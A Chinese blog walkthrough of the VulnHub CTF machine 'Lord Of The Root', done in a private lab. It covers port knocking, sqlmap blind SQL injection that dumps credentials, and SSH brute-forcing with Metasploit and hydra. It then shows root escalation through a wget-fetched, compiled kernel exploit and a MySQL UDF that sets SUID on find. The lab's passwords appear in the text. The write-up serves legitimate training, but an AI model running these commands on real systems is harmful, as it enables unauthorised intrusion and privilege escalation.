首页 > 其他分享 >Lord Of The Root: 1.0.1实战

Lord Of The Root: 1.0.1实战

时间:2023-07-05 18:26:29浏览次数:47  
标签:1.0 -- 端口 192.168 提权 udf mysql Lord Root

前言

Description:我创建这台机器是为了帮助其他人学习一些基本的CTF黑客策略和一些工具。我瞄准了这台机器,使其在难度上与我在OSCP上破解的机器非常相似。
这是一个引导到根计算机将不需要任何来宾交互。
有两种设计的权限提升方法。

靶机环境

kali 192.168.31.153
Lord Of the root 192.168.31.161
靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

实战

信息收集

首先对靶机存活探测,端口碰撞,web页面枚举

端口碰撞:
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制

nmap探测

使用nmap探测存活主机和对主机进行详细扫描

nmap 192.168.31.0/24  //探测存活主机
nmap 192.168.31.161 -sV -p- -O -A  //扫描版本信息,全端口,操作系统,详细信息 

仅仅发现了一个ssh的22端口,尝试使用ssh远程登录

ssh [email protected]

发现了一个提示,Easy as 1,2,3,是一个端口碰撞,碰撞序列为1,2,3(端口碰撞要求知道碰撞序列)

端口碰撞

在这里使用kali的knockd工具,进行端口碰撞,如果没有安装konckd按照以下命令执行(如果没有更新包可以更换更新apt源进行下载安装)

apt install knockd  apt安装knockd
man knock  //查看可用参数
knock 192.168.31.161 1 2 3 -v   //开始端口碰撞,-v输出状态信息

看到以上页面说明碰撞成功,再次使用nmap查看开启的端口信息

web页面枚举

查看到http端口1337,在kali的浏览器访问http://192.168.31.161:1337

使用目录扫描工具dirsearch枚举页面信息

python3 dirsearch.py -u http://192.168.31.161:1337/ -e*

拿到了两个web页面,一个是404.html 还有一个是/images/和初始访问页面,分别访问并查看页面源码
/images/页面及其页面源码如下:

初始访问页面源码:

发现以上源码除了图片就是图片,只能把宝压在404页面
404.html页面及其源码:

发现了一串base64编码,使用burp的decoder模块反base64编码,

发现又是一层base64编码,继续编码一次

得到了一个文件路径,浏览器访问http://192.168.31.161/978345210/index.php

发现是一个登录页面,使用弱口令尝试并没有成功,一般登录界面除了弱口令,还有就是SQL注入,我们把枪口转到SQL注入

渗透

对页面进行简单的闭合,发现并没有任何回显后,转而使用sqlmap简单扫一下,查看是否有注入点

SQL注入--sqlmap--时间盲注

爆库
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -dbs --batch

--forms  //post注入参数
--dbs  //爆出当前系统所有数据库
--batch  //自动选择选项扫描
-u //后面跟url链接

发现使用了时间盲注,并且爆出了当前数据库是Webapp

爆表

接下来使用获取到的Webapp库爆表

sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp --tables  --batch --technique T

--technique T  //使用的是时间盲注技术
-D Webapp //使用数据库Webapp进行注入 
--tables  //爆出所有表

得到一个Users表

爆字段

再使用Users表爆字段

sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp -T Users --columns  --batch --technique T

--columns //爆出所有字段

爆数据
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp -T Users -C id,password,username --dump  --batch --technique T

暴力破解拿shell

拿到用户和密码,可以尝试去web界面登录,我这里登录后发现没有什么线索,直接跳过来到爆破ssh,爆破ssh可以使用以下两种方法,msf的auxiliary/scanner/ssh/ssh_login和hydra爆破
将用户和密码分别存储在Users.txt和Password.txt

MSF爆破拿shell
msfconsole
search ssh_login
use 0或者use auxiliary/scanner/ssh/ssh_login
show options
set rhost 192.168.31.161
set user_file Users.txt  
set pass_file Password.txt
exploit

从结果可知用户和密码分别是smeagol/MyPreciousR00t

hydra爆破
hydra -L Users.txt -P Password.txt  192.168.31.161 -s 22 ssh

同样也是拿到一样的用户和密码,两种方法二选一即可

后渗透

获取到ssh的用户密码,登录后台拿shell

ssh [email protected]
MyPreciousR00t

提权

查看内核版本

cat /proc/version

发现是linux 3.19.0 ubuntu 14.04

内核提权

在浏览器查看到14.04有内核提权漏洞
使用searchsploit查看kali自带归档的提权脚本

searchsploit linux ubuntu 14.04 Privilege Escalation
//有跟着Privilege Escalation字样都是可用于提权的脚本

本次使用的脚本是39166.c,复制出来,查看用法

find / -name 39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/39166.c 
cat 39166.c

脚本中是直接使用exp进行提权,说明我们要将c脚本用gcc进行编译再执行
在此之前,先查看靶机后台可写入有哪些文件夹

find / -writable 2>/dev/null
以下只截一部分

可以看到/tmp或者/var/tmp的临时文件夹都能写入,在kali使用python开启http服务,将提权脚本传至/tmp或者/var/tmp文件夹

kali:
python3 -m http.server 8989 
靶机:
cd /tmp  //进入tmp文件夹
wget http://192.168.31.153:8989/39166.c  //下载39166.c
ls //查看
gcc 39166.c -o overlays  //编译39166.c为overlays
chmod +x overlays //赋予执行权限
./overlays  //执行获取root
id  //查看权限
cd /root //进入root目录
cat Flag.txt //查看flag

到此提权成功,以下是其他几种方法

Mysql UDF sys_exec sys_eval提权

这是第二种方法,mysql的udf提权

udf提权的条件:
    root 权限运行mysql
    在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
    在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
    udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数

使用udf在系统将find命令写入权限
首先查看mysql版本和是否运行

dpkg -l | grep mysql

mysql版本是5.5,其次就是查找登录mysql的用户密码,一般都在搭建的web页面下,去/var/www/978345210下查看,发现mysql相关配置信息在login.php能看到用户和密码,root/darkshadow

利用mysql用户密码登录,并查看是否能够提权

mysql -u root -pdarkshadow
show databases;
use mysql;
show global variables like 'secure%';   //查看secure_file_priv是否为空

发现secure_file_priv为空,可写入文件路径权限
接下来就利用kali自带的udf创建函数用于写入权限,本次使用lib_mysqludf_sys_32.so

locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so   //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型

从前面已经知道/tmp和/var/tmp有写入权限,就将udf.so下载到/tmp或者/var/tmp路径下

cd /tmp
wget http://192.168.31.153:8989/udf.so

重新进入mysql开始创建函数

use mysql;  //使用mysql数据库
create table udf(line blob);  //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so';  //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
quit

注:下图作为参考,权限我已经写入,仅仅展示命令成功的界面

find / -exec '/bin/sh' \;  
whoami
cd /root
cat Flag.txt

总结

1.信息收集:(1)nmap挖掘信息 (2)端口碰撞 (3)web页面信息枚举
2.渗透: (1)SQL注入--sqlmap(爆库,爆表,爆字段,爆数据) (2)暴力破解获取webshell
3.后渗透: (1)提权(内核提权,Mysql udf sys_eval sys_exec提权)(2)缓冲区溢出(文件化随机绕过,绕过ASLR,pwndbg分析,forr循环Nop,环字符查询,shellcode编写,bash编写脚本,小技巧objdump、vmmap、checksec、Jmp)

标签:1.0,--,端口,192.168,提权,udf,mysql,Lord,Root
From: https://www.cnblogs.com/BlogVice-2203/p/17524528.html

相关文章

  • AE脚本丨自适应底栏边框文字标题动画 Box It v1.0&使用教程
    这个AE脚本BoxIt主要是用于快速创建复杂的动态文本框,非常适合下第三标题、标签、聊天气泡、多个文本框等。 去下载它的主要特点有:1.简单易用,无需键入任何代码,通过简单的拖放和调整参数即可创建动态文本框2.包含多种预设选项,如简单、标准、粗体、标签、聊天气泡等......
  • cellos.20221115_030623类似的目录撑爆存储节点的root文件系统
    1、某Exadata客户,其中一个存储节点的根文件系统使用率超过90%,使用如下命令检查是哪些目录占用空间#du-sm*|sort-rn|head发现是/var/log目录下的东西占用大量空间。2、在/var/log目录下,存在大量cellos开头,但以日期结果的目录,这些目录占用大量磁盘空间。如下所示:drwxr-----7......
  • Goland 不能识别GOROOT解决办法
    https://www.jianshu.com/p/7a2bcfa5f739 对于golang版本大于1.15,可能在配置Goland的时候会有加载不了GOROOT的情况,这个时候需要修改一个文件go/src/runtime/internal/sys/zversion.go://Codegeneratedbygotooldist;DONOTEDIT.packagesysconstStackGuardMul......
  • winscp 使用root身份登录
    一般root账户在服务器上会被禁止ssh,此时普通用户需要通过sudo执行管理员权限命令。如果需要使用winscp,会有普通用户权限不足的问题。本文提供一个方法可使用普通用户通过sudo提权使用winscp的方法首先确认自己的普通账户sudo能够免密码执行,然后在服务器上查看sftp-server程序......
  • 2023-05-02-Unit-Root-Inversion
    Andtryingtofigureoutwhatit'slikemovingon.Summary\[[n\midk]=\frac{1}{n}\sum_{i=0}^{n-1}\omega^{ik}_{n}\]九个太阳\[\begin{aligned}&\sum_{i=0}^{n}\binom{n}{i}\frac{1}{k}\sum_{j=0}^{k-1}\omega_{k}^{ij}\......
  • 【11.0】前端基础之阶段性复习
    【11.0】前端基础之阶段性复习【一】HTML【1】什么是HTML超文本标记语言,就是一堆标签,每个标签具有特定的意义,是浏览器展示页面所公用的一套标准HTML是一种用于构建网页的标记语言,全称为"HypertextMarkupLanguage"(超文本标记语言)。它由一系列标签(tag)组成,这些标签描述了网......
  • centos服务器root用户无法登陆
    问题描述:研发同事反馈测试机无法远程登陆——————————————————————————————————————————————问题排查:①咱们先本地测试SSH测试下,提示没有权限“permissiondenied” ②再进机房,接上显示器发现有报错信息(提示分区节点、块有问......
  • 虚拟机安装的centOS7系统忘记root密码之重置密码
    1、开机按下点击鼠标进入系统并且按下e键2、光标移动到linux16开头的行,找到ro改为rwinit=sysroot/bin/sh;3、按下ctrl+x执行指令4、进入如下界面后输入:chroot /sysroot5、输入passwd根据提示输入两次新密码6、完成后输入touch/.autorelabel更新系统信息......
  • Cisco Catalyst 8000 Series Edge Platforms, IOS XE Release Dublin-17.11.01a ED
    CiscoCatalyst8000SeriesEdgePlatforms,IOSXEReleaseDublin-17.11.01aEDCiscoCatalyst8000边缘平台系列请访问原文链接:https://sysin.org/blog/cisco-catalyst-8000/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgCiscoCatalyst8000:随心所欲访问位于......
  • Cisco Catalyst 9800-CL Wireless Controller for Cloud, Release Dublin-17.11.01 ED
    CiscoCatalyst9800-CLWirelessControllerforCloud,ReleaseDublin-17.11.01ED面向云的思科Catalyst9800-CL无线控制器,专为基于意图的网络全新打造请访问原文链接:https://sysin.org/blog/cisco-catalyst-9800-cl/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.......